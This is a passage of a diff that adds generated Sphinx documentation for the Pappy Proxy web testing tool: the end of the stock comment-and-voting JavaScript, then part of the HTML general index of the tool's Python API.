+                     ';expires=' + expiration.toUTCString();
+    $('ul.comment-ul').each(function(index, ul) {
+      var comments = getChildren($(ul), true);
+      comments = sortComments(comments);
+      appendComments(comments, $(ul).empty());
+    });
+  }
+
+  /**
+   * Function to process a vote when a user clicks an arrow.
+   */
+  function handleVote(link) {
+    if (!opts.voting) {
+      showError("You'll need to login to vote.");
+      return;
+    }
+
+    var id = link.attr('id');
+    if (!id) {
+      // Didn't click on one of the voting arrows.
+      return;
+    }
+    // If it is an unvote, the new vote value is 0,
+    // Otherwise it's 1 for an upvote, or -1 for a downvote.
+    var value = 0;
+    if (id.charAt(1) != 'u') {
+      value = id.charAt(0) == 'u' ? 1 : -1;
+    }
+    // The data to be sent to the server.
+    var d = {
+      comment_id: id.substring(2),
+      value: value
+    };
+
+    // Swap the vote and unvote links.
+    link.hide();
+    $('#' + id.charAt(0) + (id.charAt(1) == 'u' ? 'v' : 'u') + d.comment_id)
+      .show();
+
+    // The div the comment is displayed in.
+    var div = $('div#cd' + d.comment_id);
+    var data = div.data('comment');
+
+    // If this is not an unvote, and the other vote arrow has
+    // already been pressed, unpress it.
+    if ((d.value !== 0) && (data.vote === d.value * -1)) {
+      $('#' + (d.value == 1 ? 'd' : 'u') + 'u' + d.comment_id).hide();
+      $('#' + (d.value == 1 ? 'd' : 'u') + 'v' + d.comment_id).show();
+    }
+
+    // Update the comments rating in the local data.
+    data.rating += (data.vote === 0) ? d.value : (d.value - data.vote);
+    data.vote = d.value;
+    div.data('comment', data);
+
+    // Change the rating text.
+    div.find('.rating:first')
+      .text(data.rating + ' point' + (data.rating == 1 ? '' : 's'));
+
+    // Send the vote information to the server.
+    $.ajax({
+      type: "POST",
+      url: opts.processVoteURL,
+      data: d,
+      error: function(request, textStatus, error) {
+        showError('Oops, there was a problem casting that vote.');
+      }
+    });
+  }
+
+  /**
+   * Open a reply form used to reply to an existing comment.
+   */
+  function openReply(id) {
+    // Swap out the reply link for the hide link
+    $('#rl' + id).hide();
+    $('#cr' + id).show();
+
+    // Add the reply li to the children ul.
+    var div = $(renderTemplate(replyTemplate, {id: id})).hide();
+    $('#cl' + id)
+      .prepend(div)
+      // Setup the submit handler for the reply form.
+      .find('#rf' + id)
+      .submit(function(event) {
+        event.preventDefault();
+        addComment($('#rf' + id));
+        closeReply(id);
+      })
+      .find('input[type=button]')
+      .click(function() {
+        closeReply(id);
+      });
+    div.slideDown('fast', function() {
+      $('#rf' + id).find('textarea').focus();
+    });
+  }
+
+  /**
+   * Close the reply form opened with openReply.
+   */
+  function closeReply(id) {
+    // Remove the reply div from the DOM.
+    $('#rd' + id).slideUp('fast', function() {
+      $(this).remove();
+    });
+
+    // Swap out the hide link for the reply link
+    $('#cr' + id).hide();
+    $('#rl' + id).show();
+  }
+
+  /**
+   * Recursively sort a tree of comments using the comp comparator.
+   */
+  function sortComments(comments) {
+    comments.sort(comp);
+    $.each(comments, function() {
+      this.children = sortComments(this.children);
+    });
+    return comments;
+  }
+
+  /**
+   * Get the children comments from a ul. If recursive is true,
+   * recursively include childrens' children.
+   */
+  function getChildren(ul, recursive) {
+    var children = [];
+    ul.children().children("[id^='cd']")
+      .each(function() {
+        var comment = $(this).data('comment');
+        if (recursive)
+          comment.children = getChildren($(this).find('#cl' + comment.id), true);
+        children.push(comment);
+      });
+    return children;
+  }
+
+  /** Create a div to display a comment in. */
+  function createCommentDiv(comment) {
+    if (!comment.displayed && !opts.moderator) {
+      return $('<div class="moderate">Thank you!  Your comment will show up '
+               + 'once it is has been approved by a moderator.</div>');
+    }
+    // Prettify the comment rating.
+    comment.pretty_rating = comment.rating + ' point' +
+      (comment.rating == 1 ? '' : 's');
+    // Make a class (for displaying not yet moderated comments differently)
+    comment.css_class = comment.displayed ? '' : ' moderate';
+    // Create a div for this comment.
+    var context = $.extend({}, opts, comment);
+    var div = $(renderTemplate(commentTemplate, context));
+
+    // If the user has voted on this comment, highlight the correct arrow.
+    if (comment.vote) {
+      var direction = (comment.vote == 1) ? 'u' : 'd';
+      div.find('#' + direction + 'v' + comment.id).hide();
+      div.find('#' + direction + 'u' + comment.id).show();
+    }
+
+    if (opts.moderator || comment.text != '[deleted]') {
+      div.find('a.reply').show();
+      if (comment.proposal_diff)
+        div.find('#sp' + comment.id).show();
+      if (opts.moderator && !comment.displayed)
+        div.find('#cm' + comment.id).show();
+      if (opts.moderator || (opts.username == comment.username))
+        div.find('#dc' + comment.id).show();
+    }
+    return div;
+  }
+
+  /**
+   * A simple template renderer. Placeholders such as <%id%> are replaced
+   * by context['id'] with items being escaped. Placeholders such as <#id#>
+   * are not escaped.
+   */
+  function renderTemplate(template, context) {
+    var esc = $(document.createElement('div'));
+
+    function handle(ph, escape) {
+      var cur = context;
+      $.each(ph.split('.'), function() {
+        cur = cur[this];
+      });
+      return escape ? esc.text(cur || "").html() : cur;
+    }
+
+    return template.replace(/<([%#])([\w\.]*)\1>/g, function() {
+      return handle(arguments[2], arguments[1] == '%' ? true : false);
+    });
+  }
+
+  /** Flash an error message briefly. */
+  function showError(message) {
+    $(document.createElement('div')).attr({'class': 'popup-error'})
+      .append($(document.createElement('div'))
+               .attr({'class': 'error-message'}).text(message))
+      .appendTo('body')
+      .fadeIn("slow")
+      .delay(2000)
+      .fadeOut("slow");
+  }
+
+  /** Add a link the user uses to open the comments popup. */
+  $.fn.comment = function() {
+    return this.each(function() {
+      var id = $(this).attr('id').substring(1);
+      var count = COMMENT_METADATA[id];
+      var title = count + ' comment' + (count == 1 ? '' : 's');
+      var image = count > 0 ? opts.commentBrightImage : opts.commentImage;
+      var addcls = count == 0 ? ' nocomment' : '';
+      $(this)
+        .append(
+          $(document.createElement('a')).attr({
+            href: '#',
+            'class': 'sphinx-comment-open' + addcls,
+            id: 'ao' + id
+          })
+            .append($(document.createElement('img')).attr({
+              src: image,
+              alt: 'comment',
+              title: title
+            }))
+            .click(function(event) {
+              event.preventDefault();
+              show($(this).attr('id').substring(2));
+            })
+        )
+        .append(
+          $(document.createElement('a')).attr({
+            href: '#',
+            'class': 'sphinx-comment-close hidden',
+            id: 'ah' + id
+          })
+            .append($(document.createElement('img')).attr({
+              src: opts.closeCommentImage,
+              alt: 'close',
+              title: 'close'
+            }))
+            .click(function(event) {
+              event.preventDefault();
+              hide($(this).attr('id').substring(2));
+            })
+        );
+    });
+  };
+
+  var opts = {
+    processVoteURL: '/_process_vote',
+    addCommentURL: '/_add_comment',
+    getCommentsURL: '/_get_comments',
+    acceptCommentURL: '/_accept_comment',
+    deleteCommentURL: '/_delete_comment',
+    commentImage: '/static/_static/comment.png',
+    closeCommentImage: '/static/_static/comment-close.png',
+    loadingImage: '/static/_static/ajax-loader.gif',
+    commentBrightImage: '/static/_static/comment-bright.png',
+    upArrow: '/static/_static/up.png',
+    downArrow: '/static/_static/down.png',
+    upArrowPressed: '/static/_static/up-pressed.png',
+    downArrowPressed: '/static/_static/down-pressed.png',
+    voting: false,
+    moderator: false
+  };
+
+  if (typeof COMMENT_OPTIONS != "undefined") {
+    opts = jQuery.extend(opts, COMMENT_OPTIONS);
+  }
+
+  var popupTemplate = '\
+    <div class="sphinx-comments" id="sc<%id%>">\
+      <p class="sort-options">\
+        Sort by:\
+        <a href="#" class="sort-option byrating">best rated</a>\
+        <a href="#" class="sort-option byascage">newest</a>\
+        <a href="#" class="sort-option byage">oldest</a>\
+      </p>\
+      <div class="comment-header">Comments</div>\
+      <div class="comment-loading" id="cn<%id%>">\
+        loading comments... <img src="<%loadingImage%>" alt="" /></div>\
+      <ul id="cl<%id%>" class="comment-ul"></ul>\
+      <div id="ca<%id%>">\
+      <p class="add-a-comment">Add a comment\
+        (<a href="#" class="comment-markup" id="ab<%id%>">markup</a>):</p>\
+      <div class="comment-markup-box" id="mb<%id%>">\
+        reStructured text markup: <i>*emph*</i>, <b>**strong**</b>, \
+        <code>``code``</code>, \
+        code blocks: <code>::</code> and an indented block after blank line</div>\
+      <form method="post" id="cf<%id%>" class="comment-form" action="">\
+        <textarea name="comment" cols="80"></textarea>\
+        <p class="propose-button">\
+          <a href="#" id="pc<%id%>" class="show-propose-change">\
+            Propose a change &#9657;\
+          </a>\
+          <a href="#" id="hc<%id%>" class="hide-propose-change">\
+            Propose a change &#9663;\
+          </a>\
+        </p>\
+        <textarea name="proposal" id="pt<%id%>" cols="80"\
+                  spellcheck="false"></textarea>\
+        <input type="submit" value="Add comment" />\
+        <input type="hidden" name="node" value="<%id%>" />\
+        <input type="hidden" name="parent" value="" />\
+      </form>\
+      </div>\
+    </div>';
+
+  var commentTemplate = '\
+    <div id="cd<%id%>" class="sphinx-comment<%css_class%>">\
+      <div class="vote">\
+        <div class="arrow">\
+          <a href="#" id="uv<%id%>" class="vote" title="vote up">\
+            <img src="<%upArrow%>" />\
+          </a>\
+          <a href="#" id="uu<%id%>" class="un vote" title="vote up">\
+            <img src="<%upArrowPressed%>" />\
+          </a>\
+        </div>\
+        <div class="arrow">\
+          <a href="#" id="dv<%id%>" class="vote" title="vote down">\
+            <img src="<%downArrow%>" id="da<%id%>" />\
+          </a>\
+          <a href="#" id="du<%id%>" class="un vote" title="vote down">\
+            <img src="<%downArrowPressed%>" />\
+          </a>\
+        </div>\
+      </div>\
+      <div class="comment-content">\
+        <p class="tagline comment">\
+          <span class="user-id"><%username%></span>\
+          <span class="rating"><%pretty_rating%></span>\
+          <span class="delta"><%time.delta%></span>\
+        </p>\
+        <div class="comment-text comment"><#text#></div>\
+        <p class="comment-opts comment">\
+          <a href="#" class="reply hidden" id="rl<%id%>">reply &#9657;</a>\
+          <a href="#" class="close-reply" id="cr<%id%>">reply &#9663;</a>\
+          <a href="#" id="sp<%id%>" class="show-proposal">proposal &#9657;</a>\
+          <a href="#" id="hp<%id%>" class="hide-proposal">proposal &#9663;</a>\
+          <a href="#" id="dc<%id%>" class="delete-comment hidden">delete</a>\
+          <span id="cm<%id%>" class="moderation hidden">\
+            <a href="#" id="ac<%id%>" class="accept-comment">accept</a>\
+          </span>\
+        </p>\
+        <pre class="proposal" id="pr<%id%>">\
+<#proposal_diff#>\
+        </pre>\
+          <ul class="comment-children" id="cl<%id%>"></ul>\
+        </div>\
+        <div class="clearleft"></div>\
+      </div>\
+    </div>';
+
+  var replyTemplate = '\
+    <li>\
+      <div class="reply-div" id="rd<%id%>">\
+        <form id="rf<%id%>">\
+          <textarea name="comment" cols="80"></textarea>\
+          <input type="submit" value="Add reply" />\
+          <input type="button" value="Cancel" />\
+          <input type="hidden" name="parent" value="<%id%>" />\
+          <input type="hidden" name="node" value="" />\
+        </form>\
+      </div>\
+    </li>';
+
+  $(document).ready(function() {
+    init();
+  });
+})(jQuery);
+
+$(document).ready(function() {
+  // add comment anchors for all paragraphs that are commentable
+  $('.sphinx-has-comment').comment();
+
+  // highlight search words in search results
+  $("div.context").each(function() {
+    var params = $.getQueryParameters();
+    var terms = (params.q) ? params.q[0].split(/\s+/) : [];
+    var result = $(this);
+    $.each(terms, function() {
+      result.highlightText(this.toLowerCase(), 'highlighted');
+    });
+  });
+
+  // directly open comment window if requested
+  var anchor = document.location.hash;
+  if (anchor.substring(0, 9) == '#comment-') {
+    $('#ao' + anchor.substring(9)).click();
+    document.location.hash = '#s' + anchor.substring(9);
+  }
+});

docs/build/html/genindex.html

@@ -0,0 +1,763 @@
+
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+
+<html xmlns="http://www.w3.org/1999/xhtml">
+  <head>
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+    
+    <title>Index &mdash; Pappy Proxy 0.2.0 documentation</title>
+    
+    <link rel="stylesheet" href="_static/classic.css" type="text/css" />
+    <link rel="stylesheet" href="_static/pygments.css" type="text/css" />
+    
+    <script type="text/javascript">
+      var DOCUMENTATION_OPTIONS = {
+        URL_ROOT:    './',
+        VERSION:     '0.2.0',
+        COLLAPSE_INDEX: false,
+        FILE_SUFFIX: '.html',
+        HAS_SOURCE:  true
+      };
+    </script>
+    <script type="text/javascript" src="_static/jquery.js"></script>
+    <script type="text/javascript" src="_static/underscore.js"></script>
+    <script type="text/javascript" src="_static/doctools.js"></script>
+    <link rel="top" title="Pappy Proxy 0.2.0 documentation" href="index.html" /> 
+  </head>
+  <body role="document">
+    <div class="related" role="navigation" aria-label="related navigation">
+      <h3>Navigation</h3>
+      <ul>
+        <li class="right" style="margin-right: 10px">
+          <a href="#" title="General Index"
+             accesskey="I">index</a></li>
+        <li class="right" >
+          <a href="py-modindex.html" title="Python Module Index"
+             >modules</a> |</li>
+        <li class="nav-item nav-item-0"><a href="index.html">Pappy Proxy 0.2.0 documentation</a> &raquo;</li> 
+      </ul>
+    </div>  
+
+    <div class="document">
+      <div class="documentwrapper">
+        <div class="bodywrapper">
+          <div class="body" role="main">
+            
+
+<h1 id="index">Index</h1>
+
+<div class="genindex-jumpbox">
+ <a href="#A"><strong>A</strong></a>
+ | <a href="#B"><strong>B</strong></a>
+ | <a href="#C"><strong>C</strong></a>
+ | <a href="#D"><strong>D</strong></a>
+ | <a href="#F"><strong>F</strong></a>
+ | <a href="#G"><strong>G</strong></a>
+ | <a href="#H"><strong>H</strong></a>
+ | <a href="#I"><strong>I</strong></a>
+ | <a href="#L"><strong>L</strong></a>
+ | <a href="#M"><strong>M</strong></a>
+ | <a href="#P"><strong>P</strong></a>
+ | <a href="#R"><strong>R</strong></a>
+ | <a href="#S"><strong>S</strong></a>
+ | <a href="#T"><strong>T</strong></a>
+ | <a href="#U"><strong>U</strong></a>
+ 
+</div>
+<h2 id="A">A</h2>
+<table style="width: 100%" class="indextable genindextable"><tr>
+  <td style="width: 33%" valign="top"><dl>
+      
+  <dt><a href="pappyproxy.html#pappyproxy.plugin.active_intercepting_macros">active_intercepting_macros() (in module pappyproxy.plugin)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.console.ProxyCmd.add_alias">add_alias() (pappyproxy.console.ProxyCmd method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.console.ProxyCmd.add_aliases">add_aliases() (pappyproxy.console.ProxyCmd method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.Response.add_cookie">add_cookie() (pappyproxy.http.Response method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.HTTPMessage.add_data">add_data() (pappyproxy.http.HTTPMessage method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.context.Context.add_filter">add_filter() (pappyproxy.context.Context method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.plugin.add_intercepting_macro">add_intercepting_macro() (in module pappyproxy.plugin)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.HTTPMessage.add_line">add_line() (pappyproxy.http.HTTPMessage method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.RepeatableDict.add_pairs">add_pairs() (pappyproxy.http.RepeatableDict method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.plugin.add_req">add_req() (in module pappyproxy.plugin)</a>
+  </dt>
+
+  </dl></td>
+  <td style="width: 33%" valign="top"><dl>
+      
+  <dt><a href="pappyproxy.html#pappyproxy.context.Context.add_request">add_request() (pappyproxy.context.Context method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.RepeatableDict.all_pairs">all_pairs() (pappyproxy.http.RepeatableDict method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.context.Context.all_reqs">all_reqs (pappyproxy.context.Context attribute)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.plugin.all_reqs">all_reqs() (in module pappyproxy.plugin)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.RepeatableDict.all_vals">all_vals() (pappyproxy.http.RepeatableDict method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.RepeatableDict.append">append() (pappyproxy.http.RepeatableDict method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.Request.async_deep_save">async_deep_save() (pappyproxy.http.Request method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.Request.async_save">async_save() (pappyproxy.http.Request method)</a>
+  </dt>
+
+      <dd><dl>
+        
+  <dt><a href="pappyproxy.html#pappyproxy.http.Response.async_save">(pappyproxy.http.Response method)</a>
+  </dt>
+
+      </dl></dd>
+      
+  <dt><a href="pappyproxy.html#pappyproxy.context.async_set_tag">async_set_tag() (in module pappyproxy.context)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.Request.async_submit">async_submit() (pappyproxy.http.Request method)</a>
+  </dt>
+
+  </dl></td>
+</tr></table>
+
+<h2 id="B">B</h2>
+<table style="width: 100%" class="indextable genindextable"><tr>
+  <td style="width: 33%" valign="top"><dl>
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.HTTPMessage.body">body (pappyproxy.http.HTTPMessage attribute)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.HTTPMessage.body_complete">body_complete() (pappyproxy.http.HTTPMessage method)</a>
+  </dt>
+
+  </dl></td>
+  <td style="width: 33%" valign="top"><dl>
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.HTTPMessage.body_pretty">body_pretty (pappyproxy.http.HTTPMessage attribute)</a>
+  </dt>
+
+  </dl></td>
+</tr></table>
+
+<h2 id="C">C</h2>
+<table style="width: 100%" class="indextable genindextable"><tr>
+  <td style="width: 33%" valign="top"><dl>
+      
+  <dt><a href="pappyproxy.html#pappyproxy.config.CERT_DIR">CERT_DIR (in module pappyproxy.config)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.RepeatableDict.clear">clear() (pappyproxy.http.RepeatableDict method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.iter.common_passwords">common_passwords() (in module pappyproxy.iter)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.iter.common_usernames">common_usernames() (in module pappyproxy.iter)</a>
+  </dt>
+
+  </dl></td>
+  <td style="width: 33%" valign="top"><dl>
+      
+  <dt><a href="pappyproxy.html#pappyproxy.console.confirm">confirm() (in module pappyproxy.console)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.context.Context">Context (class in pappyproxy.context)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.ResponseCookie.cookie_str">cookie_str (pappyproxy.http.ResponseCookie attribute)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.HTTPMessage.copy">copy() (pappyproxy.http.HTTPMessage method)</a>
+  </dt>
+
+  </dl></td>
+</tr></table>
+
+<h2 id="D">D</h2>
+<table style="width: 100%" class="indextable genindextable"><tr>
+  <td style="width: 33%" valign="top"><dl>
+      
+  <dt><a href="pappyproxy.html#pappyproxy.config.DATA_DIR">DATA_DIR (in module pappyproxy.config)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.config.DATAFILE">DATAFILE (in module pappyproxy.config)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.config.DEBUG_DIR">DEBUG_DIR (in module pappyproxy.config)</a>
+  </dt>
+
+  </dl></td>
+  <td style="width: 33%" valign="top"><dl>
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.Request.deep_delete">deep_delete() (pappyproxy.http.Request method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.Response.delete_cookie">delete_cookie() (pappyproxy.http.Response method)</a>
+  </dt>
+
+  </dl></td>
+</tr></table>
+
+<h2 id="F">F</h2>
+<table style="width: 100%" class="indextable genindextable"><tr>
+  <td style="width: 33%" valign="top"><dl>
+      
+  <dt><a href="pappyproxy.html#pappyproxy.macros.FileInterceptMacro">FileInterceptMacro (class in pappyproxy.macros)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.context.Filter">Filter (class in pappyproxy.context)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.context.Context.filter_up">filter_up() (pappyproxy.context.Context method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.RepeatableDict.from_dict">from_dict() (pappyproxy.http.RepeatableDict method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.context.Filter.from_filter_string">from_filter_string() (pappyproxy.context.Filter static method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.HTTPMessage.from_json">from_json() (pappyproxy.http.HTTPMessage method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.HTTPMessage.full_message">full_message (pappyproxy.http.HTTPMessage attribute)</a>
+  </dt>
+
+  </dl></td>
+  <td style="width: 33%" valign="top"><dl>
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.HTTPMessage.full_message_pretty">full_message_pretty (pappyproxy.http.HTTPMessage attribute)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.Request.full_path">full_path (pappyproxy.http.Request attribute)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.Request.full_request">full_request (pappyproxy.http.Request attribute)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.Response.full_response">full_response (pappyproxy.http.Response attribute)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.iter.fuzz_path_trav">fuzz_path_trav() (in module pappyproxy.iter)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.iter.fuzz_sqli">fuzz_sqli() (in module pappyproxy.iter)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.iter.fuzz_xss">fuzz_xss() (in module pappyproxy.iter)</a>
+  </dt>
+
+  </dl></td>
+</tr></table>
+
+<h2 id="G">G</h2>
+<table style="width: 100%" class="indextable genindextable"><tr>
+  <td style="width: 33%" valign="top"><dl>
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.HTTPMessage.get_metadata">get_metadata() (pappyproxy.http.HTTPMessage method)</a>
+  </dt>
+
+  </dl></td>
+  <td style="width: 33%" valign="top"><dl>
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.get_request">get_request() (in module pappyproxy.http)</a>
+  </dt>
+
+  </dl></td>
+</tr></table>
+
+<h2 id="H">H</h2>
+<table style="width: 100%" class="indextable genindextable"><tr>
+  <td style="width: 33%" valign="top"><dl>
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.HTTPMessage.handle_header">handle_header() (pappyproxy.http.HTTPMessage method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.HTTPMessage.handle_start_line">handle_start_line() (pappyproxy.http.HTTPMessage method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.HTTPMessage.headers_end">headers_end() (pappyproxy.http.HTTPMessage method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.HTTPMessage.headers_section">headers_section (pappyproxy.http.HTTPMessage attribute)</a>
+  </dt>
+
+  </dl></td>
+  <td style="width: 33%" valign="top"><dl>
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.HTTPMessage.headers_section_pretty">headers_section_pretty (pappyproxy.http.HTTPMessage attribute)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.Request.host">host (pappyproxy.http.Request attribute)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.HTTPMessage">HTTPMessage (class in pappyproxy.http)</a>
+  </dt>
+
+  </dl></td>
+</tr></table>
+
+<h2 id="I">I</h2>
+<table style="width: 100%" class="indextable genindextable"><tr>
+  <td style="width: 33%" valign="top"><dl>
+      
+  <dt><a href="pappyproxy.html#pappyproxy.plugin.in_memory_reqs">in_memory_reqs() (in module pappyproxy.plugin)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.context.Context.in_memory_requests">in_memory_requests (pappyproxy.context.Context attribute)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.init">init() (in module pappyproxy.http)</a>
+  </dt>
+
+  </dl></td>
+  <td style="width: 33%" valign="top"><dl>
+      
+  <dt><a href="pappyproxy.html#pappyproxy.macros.InterceptMacro">InterceptMacro (class in pappyproxy.macros)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.Request.is_ssl">is_ssl (pappyproxy.http.Request attribute)</a>
+  </dt>
+
+  </dl></td>
+</tr></table>
+
+<h2 id="L">L</h2>
+<table style="width: 100%" class="indextable genindextable"><tr>
+  <td style="width: 33%" valign="top"><dl>
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.Request.load_all_requests">load_all_requests() (pappyproxy.http.Request static method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.macros.load_macros">load_macros() (in module pappyproxy.macros)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.console.load_reqlist">load_reqlist() (in module pappyproxy.console)</a>
+  </dt>
+
+  </dl></td>
+  <td style="width: 33%" valign="top"><dl>
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.Request.load_request">load_request() (pappyproxy.http.Request static method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.Request.load_requests_by_tag">load_requests_by_tag() (pappyproxy.http.Request static method)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.Response.load_response">load_response() (pappyproxy.http.Response static method)</a>
+  </dt>
+
+  </dl></td>
+</tr></table>
+
+<h2 id="M">M</h2>
+<table style="width: 100%" class="indextable genindextable"><tr>
+  <td style="width: 33%" valign="top"><dl>
+      
+  <dt><a href="pappyproxy.html#pappyproxy.macros.Macro">Macro (class in pappyproxy.macros)</a>
+  </dt>
+
+  </dl></td>
+  <td style="width: 33%" valign="top"><dl>
+      
+  <dt><a href="pappyproxy.html#pappyproxy.plugin.main_context">main_context() (in module pappyproxy.plugin)</a>
+  </dt>
+
+  </dl></td>
+</tr></table>
+
+<h2 id="P">P</h2>
+<table style="width: 100%" class="indextable genindextable"><tr>
+  <td style="width: 33%" valign="top"><dl>
+      
+  <dt><a href="pappyproxy.html#pappyproxy.config.PAPPY_DIR">PAPPY_DIR (in module pappyproxy.config)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.util.PappyException">PappyException</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#module-pappyproxy">pappyproxy (module)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#module-pappyproxy.comm">pappyproxy.comm (module)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#module-pappyproxy.config">pappyproxy.config (module)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#module-pappyproxy.console">pappyproxy.console (module)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#module-pappyproxy.context">pappyproxy.context (module)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#module-pappyproxy.http">pappyproxy.http (module)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#module-pappyproxy.iter">pappyproxy.iter (module)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#module-pappyproxy.macros">pappyproxy.macros (module)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#module-pappyproxy.pappy">pappyproxy.pappy (module)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#module-pappyproxy.plugin">pappyproxy.plugin (module)</a>
+  </dt>
+
+  </dl></td>
+  <td style="width: 33%" valign="top"><dl>
+      
+  <dt><a href="pappyproxy.html#module-pappyproxy.proxy">pappyproxy.proxy (module)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#module-pappyproxy.repeater">pappyproxy.repeater (module)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#module-pappyproxy.session">pappyproxy.session (module)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#module-pappyproxy.util">pappyproxy.util (module)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.Request.path_tuple">path_tuple (pappyproxy.http.Request attribute)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.plugin.plugin_by_name">plugin_by_name() (in module pappyproxy.plugin)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.http.post_request">post_request() (in module pappyproxy.http)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.console.print_requests">print_requests() (in module pappyproxy.console)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.console.print_table">print_table() (in module pappyproxy.console)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.util.printable_data">printable_data() (in module pappyproxy.util)</a>
+  </dt>
+
+      
+  <dt><a href="pappyproxy.html#pappyproxy.console.ProxyCmd">ProxyCmd (class in pappyproxy.console)</a>
+  </dt>
+
+  </dl></td>
+</tr></table>
+
+<h2 id="R">R</h2>
+<table style="width: 100%" class="indextable genindextable"><tr>
+  <td style="width: 33%" valign="top"><dl>
+      
